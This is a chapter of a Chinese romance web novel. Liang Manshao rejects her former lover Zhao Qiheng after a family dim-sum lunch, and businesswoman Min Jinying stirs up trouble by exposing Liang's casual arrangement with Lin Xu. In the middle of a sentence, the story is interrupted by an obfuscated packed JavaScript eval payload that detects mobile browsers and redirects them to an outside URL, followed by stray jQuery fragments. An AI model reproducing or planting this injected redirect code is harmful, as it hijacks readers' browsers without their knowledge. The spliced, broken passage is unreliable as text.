让夜幕降临莲子百合糖

38. 枕头

    这一顿早茶浩浩荡荡十二人,也不知道有多少人真的吃得安乐。但闵金瑛一定是其中一个,不仅和林照聊通了海运翡翠玉料的单子,又听了梁文正和林照高端粤菜北上的计划,她走出包间的时候还在想,自家游轮旅游上或许也可以拉上这样的星级品牌,回去要好好跟赵祈恒讨论其中利润空间。


    可赵祈恒却似乎没有这个劲头奔向工作,闵金瑛站在包厢外回头找他的时候,正看见他被梁曼韶的母亲拉着手,絮絮叨叨不知道梁母在跟他说什么。


    还在包厢里的梁曼韶却听得真切。


    “祈恒啊,曼韶还有几天才回北京,你要好好把握机会。明天来家里吃饭?你什么时候正式去深圳上班呀?”


    赵祈恒还没有回答,梁曼韶在后头叫住了自家母亲。


    “妈,你先跟爸去车上吧,我有话跟师哥说。”


    梁母眼睛一亮,拍了拍赵祈恒的手背,点点头以示加油。赵祈恒脸上没有半分欣喜神色,梁母看不懂或是不想懂梁曼韶的脸色,可他不是也不能。


    他看着梁曼韶那张脸,看上头的冷漠、愠怒、责怪,丝毫都没有隐藏。


    包厢人都走空了,只剩下赵祈恒和梁曼韶两人。


    “曼韶……”


    赵祈恒刚开口,梁曼韶的电话响起来。她抬起手示意赵祁恒先暂停,把电话接通。


    “嗯,没事。我只是有话跟他说。我有分寸。你听话。好啦!拜拜。”


    电话那头还能是谁?刚刚从头到尾梁曼韶在他身边跟林煦发消息,再克制也被他看见两人对视与一同低头笑。每一回都刺痛他的眼睛。


    赵祈恒自嘲地笑,看梁曼韶挂断电话,终于问:“你们在一起了,对吗?你和林煦。你再也不会考虑我了,对吗?”


    梁曼韶满脸不耐烦:“没有。但不论我和谁在一起,我和你都不可能了。师哥,我们给彼此留点体面不好吗?”


    体面?赵祈恒惊诧于梁曼韶此刻的冷漠,更惊诧于她为了另一个人对他这么冷漠。


    赵祈恒往前走一步,手指着自己的胸口:“我哪里比不上他?他那样的毛头小子二世祖,一抓一大把,有什么值得你喜欢值得你选择?”


    “他不是什么二世祖……”梁曼韶不假思索地说出这半句辩驳,可话说出口她自己都惊讶,她为林煦辩解什么?更重要的是,她又跟赵祁恒费这力气辩解做什么?


    赵祁恒因为这半句话更加受伤,连眉心都跟着指尖和话语颤抖:“你……”


    梁曼韶忽然有种错乱感,曾经她喜欢过的赵祈恒,还有她认知里的赵祈恒,是成熟稳重,是冷静睿智,他既像老师也像兄长,教会她很多很多。她第一次见赵祁恒这么失态,更是第一次觉得,跟赵祈恒说话这么费劲,他仿佛完全听不懂她在说什么。


    梁曼韶解释:“师哥,我和你分开,我不会再和你复合,这跟任何人都没关系。你跟谁比都没用,这是我决定的。你和我的人生目标不一样,你要的是贤妻良母,我要的是功成名就,我们都满足不了彼此,这和任何人都没有关系。”


    赵祈恒不肯松口,大有誓不罢休的阵仗:“那我说我现在目标改了呢?我可以为了你改变。我们可以不结婚,我们可以留在北京不回广东。你和我曾经那么美好的日子,为什么,为什么就不可以回去?”


    赵祈恒说着要来拉梁曼韶的手,被她侧身躲开。


    梁曼韶沉默了。面对解释不通的人,她懒得解释。眼前这个人她感觉很陌生,不管是谁也好,反正不是她真心仰慕过喜欢过的赵祈恒。这样固执又不听不懂话的人,她不认识。


    赵祈恒闭上眼睛,深呼吸:“对不起,是我太激动了。”


    梁曼韶眨眨眼,看着赵祈恒道歉后退,这才觉得眼前的赵祈恒回了部分魂魄。


    梁曼韶不知道还要说什么,林煦的电话又打过来,她接起来嗯了两声,说就快好了。


    挂断电话,她又看了赵祈恒半晌,开口说:“师哥,你一直都是很优秀的人,你不需要跟任何人比。你要美满家庭娇妻儿女,没有错,我们只是不合适。我也真心祝愿你能找到可以跟你相伴一生的人。”


    一席话说完,赵祈恒没有开口回答,连一个点头摇头都没有,他只是别开脸去,不再看梁曼韶。梁曼韶也没有什么好说的,侧身从赵祈恒身边走过,往包厢外走。


    门一开,梁曼韶抬眼就看见闵金瑛,气不打一处来。


    都是她,唯恐天下不乱,也不知道她怎么一眼就看出来,还厚着脸皮攒了这么大一个戏台。


    没等梁曼韶发作,闵金瑛先过来抱住梁曼韶,一口一个对不起,都是她没有眼力见儿。


    没有眼力见儿?闵金瑛?真是开玩笑。


    梁曼韶冷笑着推开她:“闵总,我自问跟你无仇无怨。你要刺激赵祈恒让他乖乖跟你去深圳,要我帮忙可以,设个陷阱套我是几个意思?”


    闵金瑛撇撇嘴,变脸比翻书快,改口说:“你别怨恨我嘛,我也是在帮你。此时不断,后患无穷。赵祈恒这个样子,你没见过吧?让他还一直惦记你,你心里不发毛吗?”


    一针见血。梁曼韶登时说不出话来。


    闵金瑛笑了笑,挽着梁曼韶的手臂:“你放心,我也会好好劝劝赵祈恒的。他这个人多要面子,多会算得失利弊,等他冷静下来,就知道该怎么做最好。嗯?”


    梁曼韶还没说话,抬眼看见林煦又走回来,一看就是来找她,一双眼紧紧盯着她半寸不移开。


    闵金瑛还在跟前,林煦不好直接问梁曼韶怎么跟赵祈恒说话说这么久,先迂回要支开闵金瑛:“闵总,你侄子还在外头找你呢。”


    闵金瑛眉毛一挑,笑着说了声多谢,抬手要推开包厢门,回身却贴近梁曼韶的耳朵,说话的声音却是让林煦都听得一清二楚。


    “哎,他就是那个固定床伴,对吧?”


    林煦登时如遭雷击,表情都僵住。


    闵金瑛捂住嘴,一脸夸张矫饰的惊讶:“我,我,我以为你们都,对齐了这个……身份……原来……哎呀!对不起!对不起!是我太没有眼力见儿了!”


    梁曼韶脸色煞白,咬牙想打人。闵金瑛逃也似的,推开包厢门进去,把门从内关紧。


    “固定床伴?”一声冷笑从林煦的胸膛中发出来,“也是,你这么跟她说也没错。”


    林煦转身就走,梁曼韶迈步想追,电话又响起来,这次是梁母。


    “曼韶呀,你好了没有啊?我和你爸爸都在车里等你,快来我们回家吧。祈恒还没有跟你说完话吗?要不要去家里再坐坐?”


    梁曼韶烦得一个头两个大,只说自己这就到,挂了电话就往电梯走。


    潮庆楼大堂都是假山流水小桥,路线曲折,梁曼韶根本追不上林煦,到了电梯间也不见人影,她打林煦的电话,那边立刻挂断。她打开林煦的微信,刚要打字,却忽然不知道说什么。


    该说什么?


    对不起?然后再说什么呢?


    他们并不是男女朋友。她只是答应他不跟别人约会上床,他也就答应她不要被别人知道看见,除此之外两人之间没有任何承诺,更没有计划过未来。


    那


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16048938|174560||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    么就连这一句对不起,梁曼韶其实也没有想到要因为什么说。这句话本身她没有说错,她和林煦本来也就是固定床伴,半分不差。


    只是把这句话丢到林煦面前让他难堪,确实不是梁曼韶的本意,可也确实因为她说出过这样的话嘛,才有刚刚那样的尴尬。


    她不想他这么难过。可是她也不知道能说什么做什么。


    梁曼韶狠狠攥拳,这都是什么事啊!


    那间方才还闲聊欢笑不断的包间,此时此刻只剩下闵金瑛和赵祈恒两个人。一个在门边坐着,一个还站在原地。


    闵金瑛听外头没有响动,推开包厢门看,林煦和梁曼韶都走了,她松了一口气,吹着口哨转过身来,走到桌前,捏起小竹笼里一只叉烧包,撕下一角放到嘴里。


    “别……”


    闵金瑛刚开口,顿住先细细咀嚼口中的叉烧包,一面点头,一面又撕下一角入口。


    “别傻站着了,走吧。他们都走了。”


    赵祈恒还没动,他似乎才回过神来,从肩到腿整理了衣服,转身回来面对闵金瑛。他把西装外套搭在臂弯里,又成了那个冷静自持的赵总监。


    闵金瑛张口想跟他提游轮的事。


    他开口却是问:“他们一起走的?”


    闵金瑛静止两秒,白眼翻上天。她把手上的半只叉烧包放下,抽了张纸擦干净手指,走到赵祈恒跟前,抿着唇拍了拍他的肩膀。


    “赵哥啊,你比我大几岁,在商场摸爬滚打这么多年,我一向敬重你。可你今时今日怎么还会不明白‘不争不抢就一无所有’的道理?”


    赵祈恒若有所思,闵金瑛不准备说更多:“走吧,我那个讨债鬼侄子还在停车场等我呢。”


    闵金瑛推门出去,赵祈恒也跟上她的脚步。包厢门一关,也把刚才的失态全都掩藏。一个美艳张扬,眼角眉梢都是大局在握的自信与得意。一个成熟稳重,金丝边框眼镜和领带夹上的钻石都闪耀着精明与谋算。


    两人在停车场里告别,闵金瑛临走还再劝他好好想清楚,深圳的发展空间远比北方大,错失良机未免太不值得。


    赵祈恒说会认真考虑,闵金瑛看着他的背影就摇摇头,暗骂一句没用的男人,转身到车边。司机赶紧给她开了车门,车内空调温度正好,闵洪宇在里头捧着本书看。


    闵金瑛伸手到闵洪宇眼前打了个三个连着的响指:“你小子倒是很舒坦嘛,空调吹着,小书看着,你姑姑我还在外头为生意东奔西跑,广东这个鬼天气,大冬天的回温,离了空调一分钟都能弄花我的妆。”


    闵洪宇皱着眉头合上书:“你为生意东奔西跑就是这样,到处拱火唯恐天下不乱?”


    闵金瑛冷笑,伸手就捏住闵洪宇的下巴把他的脸拧过来:“你看不起我?小子,你吃我的穿我的,你这舒服空调都是我的油钱电费。你摆着张臭脸来骂谁?啊?”


    闵洪宇推开她的手,用手背在下巴她捏过的位置擦了下,一声不吭。


    闵金瑛冷哼一声:“小孩儿你懂个屁,人为财死鸟为食亡。”


    闵洪宇还是不说话。


    车往前开,闵金瑛懒洋洋靠在车椅靠背上,闭着眼睛自己给自己揉太阳穴。


    “姑姑今天大方,手把手教你。这回啊,要么赵祈恒把梁曼韶搞到手,两个一起被我收入麾下;要么他们彻底一拍两散,赵祈恒乖乖地转来深圳替我管家。


    “要是让赵祈恒贼心不死,一直被梁曼韶吊着,他就会一直赖在北京不肯走。闵家水深王八多,一个让我信任的都没有,我可没时间陪他干耗着泡妞。”